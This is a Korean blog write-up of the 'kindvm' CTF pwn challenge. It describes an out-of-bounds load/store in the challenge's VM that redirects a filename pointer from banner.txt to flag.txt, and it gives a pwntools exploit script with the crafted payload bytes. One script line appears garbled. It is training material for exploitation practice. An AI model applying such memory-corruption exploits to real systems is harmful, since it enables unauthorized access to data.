728x90

처음으로 풀어본 vm 문제. 재미있다

분석하는데 어려웠지만 조금만 잘 보면 OOB가 터져서 이걸 이용해서 banner.txt를 flag.txt로 바꿔주면 된다!!

익스는 대강

1. name 입력받을 때 flag.txt로 입력!
2. load에서 OOB를 사용해서 reg에 heap에 저장되어 있는 flag.txt를 가리키는 포인터를 쓴다.
3. store를 사용해서 banner.txt가 있는 위치에 flag.txt를 가르키는 포인터로 쓴다.
4. halt로 반복문 탈출!
5. 끄읏

이런 순서로 이루어 진다.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
 
 
= process("./kindvm")
elf = ELF("./kindvm")
 
gdb.attach(s,'b *0x08048CF3')
 
def ins(_ins):
    s.sendlineafter("instruction : ",_ins)
 
 
name = "flag.txt"
s.sendlineafter("name : ",name)
 
pay = "\x01"+"\x00"+"\xff\xd8"
pay += "\x02"+"\xff\xdc"+"\x00"
pay += "\x06"
 
ins(pay)
 
s.interactive()
cs

'PWN > CTF' 카테고리의 다른 글

[RCTF_2018] stringer  (0) 2019.11.17
[Hack.lu_2014] oreo  (0) 2019.11.12
[Codegate_2019] aeiou  (0) 2019.11.11
[RedpwnCTF_2019] Dennis Says  (0) 2019.08.17
[RCTF 2018] babyheap  (0) 2019.08.14